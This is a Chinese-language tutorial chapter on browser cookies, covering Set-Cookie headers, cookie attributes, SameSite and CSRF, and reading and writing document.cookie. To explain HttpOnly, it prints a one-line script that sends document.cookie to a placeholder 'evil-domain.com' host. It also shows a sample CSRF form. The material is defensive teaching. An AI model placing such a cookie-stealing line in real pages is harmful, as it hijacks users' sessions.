# Cookie
## 概述
Cookie 是服務器保存在瀏覽器的一小段文本信息,一般大小不能超過4KB。瀏覽器每次向服務器發出請求,就會自動附上這段信息。
Cookie 主要保存狀態信息,以下是一些主要用途。
- 對話(session)管理:保存登錄、購物車等需要記錄的信息。
- 個性化信息:保存用戶的偏好,比如網頁的字體大小、背景色等等。
- 追蹤用戶:記錄和分析用戶行為。
Cookie 不是一種理想的客戶端儲存機制。它的容量很小(4KB),缺乏數據操作接口,而且會影響性能。客戶端儲存應該使用 Web storage API 和 IndexedDB。只有那些每次請求都需要讓服務器知道的信息,才應該放在 Cookie 里面。
每個 Cookie 都有以下幾方面的元數據。
- Cookie 的名字
- Cookie 的值(真正的數據寫在這里面)
- 到期時間(超過這個時間會失效)
- 所屬域名(默認為當前域名)
- 生效的路徑(默認為當前網址)
舉例來說,用戶訪問網址`www.example.com`,服務器在瀏覽器寫入一個 Cookie。這個 Cookie 的所屬域名為`www.example.com`,生效路徑為根路徑`/`。如果 Cookie 的生效路徑設為`/forums`,那么這個 Cookie 只有在訪問`www.example.com/forums`及其子路徑時才有效。以后,瀏覽器訪問某個路徑之前,就會找出對該域名和路徑有效,并且還沒有到期的 Cookie,一起發送給服務器。
用戶可以設置瀏覽器不接受 Cookie,也可以設置不向服務器發送 Cookie。`window.navigator.cookieEnabled`屬性返回一個布爾值,表示瀏覽器是否打開 Cookie 功能。
```javascript
window.navigator.cookieEnabled // true
```
`document.cookie`屬性返回當前網頁的 Cookie。
```javascript
document.cookie // "id=foo;key=bar"
```
不同瀏覽器對 Cookie 數量和大小的限制,是不一樣的。一般來說,單個域名設置的 Cookie 不應超過30個,每個 Cookie 的大小不能超過4KB。超過限制以后,Cookie 將被忽略,不會被設置。
瀏覽器的同源政策規定,兩個網址只要域名相同,就可以共享 Cookie(參見《同源政策》一章)。注意,這里不要求協議相同。也就是說,`http://example.com`設置的 Cookie,可以被`https://example.com`讀取。
## Cookie 與 HTTP 協議
Cookie 由 HTTP 協議生成,也主要是供 HTTP 協議使用。
### HTTP 回應:Cookie 的生成
服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭信息里面,放置一個`Set-Cookie`字段。
```http
Set-Cookie:foo=bar
```
上面代碼會在瀏覽器保存一個名為`foo`的 Cookie,它的值為`bar`。
HTTP 回應可以包含多個`Set-Cookie`字段,即在瀏覽器生成多個 Cookie。下面是一個例子。
```http
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
```
除了 Cookie 的值,`Set-Cookie`字段還可以附加 Cookie 的屬性。
```http
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```
上面的幾個屬性的含義,將在后文解釋。
一個`Set-Cookie`字段里面,可以同時包括多個屬性,沒有次序的要求。
```http
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
```
下面是一個例子。
```http
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```
如果服務器想改變一個早先設置的 Cookie,必須同時滿足四個條件:Cookie 的`key`、`domain`、`path`和`secure`都匹配。舉例來說,如果原始的 Cookie 是用如下的`Set-Cookie`設置的。
```http
Set-Cookie: key1=value1; domain=example.com; path=/blog
```
改變上面這個 Cookie 的值,就必須使用同樣的`Set-Cookie`。
```http
Set-Cookie: key1=value2; domain=example.com; path=/blog
```
只要有一個屬性不同,就會生成一個全新的 Cookie,而不是替換掉原來那個 Cookie。
```http
Set-Cookie: key1=value2; domain=example.com; path=/
```
上面的命令設置了一個全新的同名 Cookie,但是`path`屬性不一樣。下一次訪問`example.com/blog`的時候,瀏覽器將向服務器發送兩個同名的 Cookie。
```http
Cookie: key1=value1; key1=value2
```
上面代碼的兩個 Cookie 是同名的,匹配越精確的 Cookie 排在越前面。
### HTTP 請求:Cookie 的發送
瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie。也就是說,把服務器早前保存在瀏覽器的這段信息,再發回服務器。這時要使用 HTTP 頭信息的`Cookie`字段。
```http
Cookie: foo=bar
```
上面代碼會向服務器發送名為`foo`的 Cookie,值為`bar`。
`Cookie`字段可以包含多個 Cookie,使用分號(`;`)分隔。
```http
Cookie: name=value; name2=value2; name3=value3
```
下面是一個例子。
```http
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
服務器收到瀏覽器發來的 Cookie 時,有兩點是無法知道的。
- Cookie 的各種屬性,比如何時過期。
- 哪個域名設置的 Cookie,到底是一級域名設的,還是某一個二級域名設的。
## Cookie 的屬性
### Expires,Max-Age
`Expires`屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie。它的值是 UTC 格式,可以使用`Date.prototype.toUTCString()`進行格式轉換。
```http
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
如果不設置該屬性,或者設為`null`,Cookie 只在當前會話(session)有效,瀏覽器窗口一旦關閉,當前 Session 結束,該 Cookie 就會被刪除。另外,瀏覽器根據本地時間,決定 Cookie 是否過期,由于本地時間是不精確的,所以沒有辦法保證 Cookie 一定會在服務器指定的時間過期。
`Max-Age`屬性指定從現在開始 Cookie 存在的秒數,比如`60 * 60 * 24 * 365`(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie。
如果同時指定了`Expires`和`Max-Age`,那么`Max-Age`的值將優先生效。
如果`Set-Cookie`字段沒有指定`Expires`或`Max-Age`屬性,那么這個 Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關閉瀏覽器,瀏覽器就不會再保留這個 Cookie。
### Domain,Path
`Domain`屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie。如果沒有指定該屬性,瀏覽器會默認將其設為當前域名,這時子域名將不會附帶這個 Cookie。比如,`example.com`不設置 Cookie 的`domain`屬性,那么`sub.example.com`將不會附帶這個 Cookie。如果指定了`domain`屬性,那么子域名也會附帶這個 Cookie。如果服務器指定的域名不屬于當前域名,瀏覽器會拒絕這個 Cookie。
`Path`屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie。只要瀏覽器發現,`Path`屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個 Cookie。比如,`PATH`屬性是`/`,那么請求`/docs`路徑也會包含該 Cookie。當然,前提是域名必須一致。
### Secure,HttpOnly
`Secure`屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的`Secure`屬性。該屬性只是一個開關,不需要指定值。如果通信是 HTTPS 協議,該開關自動打開。
`HttpOnly`屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是`document.cookie`屬性、`XMLHttpRequest`對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。
```javascript
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```
上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器。如果設置了一個 Cookie 的`HttpOnly`屬性,上面代碼就不會讀到該 Cookie。
### SameSite
Chrome 51 開始,瀏覽器的 Cookie 新增加了一個`SameSite`屬性,用來防止 CSRF 攻擊和用戶追蹤。
Cookie 往往用來存儲用戶的身份信息,惡意網站可以設法偽造帶有正確 Cookie 的 HTTP 請求,這就是 CSRF 攻擊。舉例來說,用戶登陸了銀行網站`your-bank.com`,銀行服務器發來了一個 Cookie。
```http
Set-Cookie:id=a3fWa;
```
用戶后來又訪問了惡意網站`malicious.com`,上面有一個表單。
```html
<form action="your-bank.com/transfer" method="POST">
...
</form>
```
用戶一旦被誘騙發送這個表單,銀行網站就會收到帶有正確 Cookie 的請求。為了防止這種攻擊,表單一般都帶有一個隨機 token,告訴服務器這是真實請求。
```html
<form action="your-bank.com/transfer" method="POST">
<input type="hidden" name="token" value="dad3weg34">
...
</form>
```
這種第三方網站引導發出的 Cookie,就稱為第三方 Cookie。它除了用于 CSRF 攻擊,還可以用于用戶追蹤。比如,Facebook 在第三方網站插入一張看不見的圖片。
```html
<img src="facebook.com" style="visibility:hidden;">
```
瀏覽器加載上面代碼時,就會向 Facebook 發出帶有 Cookie 的請求,從而 Facebook 就會知道你是誰,訪問了什么網站。
Cookie 的`SameSite`屬性用來限制第三方 Cookie,從而減少安全風險。它可以設置三個值。
> - Strict
> - Lax
> - None
**(1)Strict**
`Strict`最為嚴格,完全禁止第三方 Cookie,跨站點時,任何情況下都不會發送 Cookie。換言之,只有當前網頁的 URL 與請求目標一致,才會帶上 Cookie。
```http
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
```
這個規則過于嚴格,可能造成非常不好的用戶體驗。比如,當前網頁有一個 GitHub 鏈接,用戶點擊跳轉就不會帶有 GitHub 的 Cookie,跳轉過去總是未登陸狀態。
**(2)Lax**
`Lax`規則稍稍放寬,大多數情況也是不發送第三方 Cookie,但是導航到目標網址的 Get 請求除外。
```html
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
```
導航到目標網址的 GET 請求,只包括三種情況:鏈接,預加載請求,GET 表單。詳見下表。
| 請求類型 | 示例 | 正常情況 | Lax |
|-----------|:------------------------------------:|------------:|-------------|
| 鏈接 | `<a href="..."></a>` | 發送 Cookie | 發送 Cookie |
| 預加載 | `<link rel="prerender" href="..."/>` | 發送 Cookie | 發送 Cookie |
| GET 表單 | `<form method="GET" action="...">` | 發送 Cookie | 發送 Cookie |
| POST 表單 | `<form method="POST" action="...">` | 發送 Cookie | 不發送 |
| iframe | `<iframe src="..."></iframe>` | 發送 Cookie | 不發送 |
| AJAX | `$.get("...")` | 發送 Cookie | 不發送 |
| Image | `<img src="...">` | 發送 Cookie | 不發送 |
設置了`Strict`或`Lax`以后,基本就杜絕了 CSRF 攻擊。當然,前提是用戶瀏覽器支持 SameSite 屬性。
**(3)None**
Chrome 計劃將`Lax`變為默認設置。這時,網站可以選擇顯式關閉`SameSite`屬性,將其設為`None`。不過,前提是必須同時設置`Secure`屬性(Cookie 只能通過 HTTPS 協議發送),否則無效。
下面的設置無效。
```text
Set-Cookie: widget_session=abc123; SameSite=None
```
下面的設置有效。
```text
Set-Cookie: widget_session=abc123; SameSite=None; Secure
```
## document.cookie
`document.cookie`屬性用于讀寫當前網頁的 Cookie。
讀取的時候,它會返回當前網頁的所有 Cookie,前提是該 Cookie 不能有`HTTPOnly`屬性。
```javascript
document.cookie // "foo=bar;baz=bar"
```
上面代碼從`document.cookie`一次性讀出兩個 Cookie,它們之間使用分號分隔。必須手動還原,才能取出每一個 Cookie 的值。
```javascript
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
??console.log(cookies[i]);
}
// foo=bar
// baz=bar
```
`document.cookie`屬性是可寫的,可以通過它為當前網站添加 Cookie。
```javascript
document.cookie = 'fontSize=14';
```
寫入的時候,Cookie 的值必須寫成`key=value`的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用`encodeURIComponent`方法達到。
但是,`document.cookie`一次只能寫入一個 Cookie,而且寫入并不是覆蓋,而是添加。
```javascript
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
```
`document.cookie`讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個 Cookie),與 HTTP 協議的 Cookie 通信格式有關。瀏覽器向服務器發送 Cookie 的時候,`Cookie`字段是使用一行將所有 Cookie 全部發送;服務器向瀏覽器設置 Cookie 的時候,`Set-Cookie`字段是一行設置一個 Cookie。
寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性。
```javascript
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
```
上面代碼中,寫入 Cookie 的時候,同時設置了`expires`屬性。屬性值的等號兩邊,也是不能有空格的。
各個屬性的寫入注意點如下。
- `path`屬性必須為絕對路徑,默認為當前路徑。
- `domain`屬性值必須是當前發送 Cookie 的域名的一部分。比如,當前域名是`example.com`,就不能將其設為`foo.com`。該屬性默認為當前的一級域名(不含二級域名)。
- `max-age`屬性的值為秒數。
- `expires`屬性的值為 UTC 格式,可以使用`Date.prototype.toUTCString()`進行日期格式轉換。
`document.cookie`寫入 Cookie 的例子如下。
```javascript
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
```
Cookie 的屬性一旦設置完成,就沒有辦法讀取這些屬性的值。
刪除一個現存 Cookie 的唯一方法,是設置它的`expires`屬性為一個過去的日期。
```javascript
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
```
上面代碼中,名為`fontSize`的 Cookie 的值為空,過期時間設為1970年1月1月零點,就等同于刪除了這個 Cookie。
## 參考鏈接
- [HTTP cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies), by MDN
- [Using the Same-Site Cookie Attribute to Prevent CSRF Attacks](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)
- [SameSite cookies explained](https://web.dev/samesite-cookies-explained)
- [Tough Cookies](https://scotthelme.co.uk/tough-cookies/), Scott Helme
- [Cross-Site Request Forgery is dead!](https://scotthelme.co.uk/csrf-is-dead/), Scott Helme
- 前言
- 入門篇
- 導論
- 歷史
- 基本語法
- 數據類型
- 概述
- null,undefined 和布爾值
- 數值
- 字符串
- 對象
- 函數
- 數組
- 運算符
- 算術運算符
- 比較運算符
- 布爾運算符
- 二進制位運算符
- 其他運算符,運算順序
- 語法專題
- 數據類型的轉換
- 錯誤處理機制
- 編程風格
- console 對象與控制臺
- 標準庫
- Object 對象
- 屬性描述對象
- Array 對象
- 包裝對象
- Boolean 對象
- Number 對象
- String 對象
- Math 對象
- Date 對象
- RegExp 對象
- JSON 對象
- 面向對象編程
- 實例對象與 new 命令
- this 關鍵字
- 對象的繼承
- Object 對象的相關方法
- 嚴格模式
- 異步操作
- 概述
- 定時器
- Promise 對象
- DOM
- 概述
- Node 接口
- NodeList 接口,HTMLCollection 接口
- ParentNode 接口,ChildNode 接口
- Document 節點
- Element 節點
- 屬性的操作
- Text 節點和 DocumentFragment 節點
- CSS 操作
- Mutation Observer API
- 事件
- EventTarget 接口
- 事件模型
- Event 對象
- 鼠標事件
- 鍵盤事件
- 進度事件
- 表單事件
- 觸摸事件
- 拖拉事件
- 其他常見事件
- GlobalEventHandlers 接口
- 瀏覽器模型
- 瀏覽器模型概述
- window 對象
- Navigator 對象,Screen 對象
- Cookie
- XMLHttpRequest 對象
- 同源限制
- CORS 通信
- Storage 接口
- History 對象
- Location 對象,URL 對象,URLSearchParams 對象
- ArrayBuffer 對象,Blob 對象
- File 對象,FileList 對象,FileReader 對象
- 表單,FormData 對象
- IndexedDB API
- Web Worker
- 附錄:網頁元素接口
- a
- img
- form
- input
- button
- option
- video,audio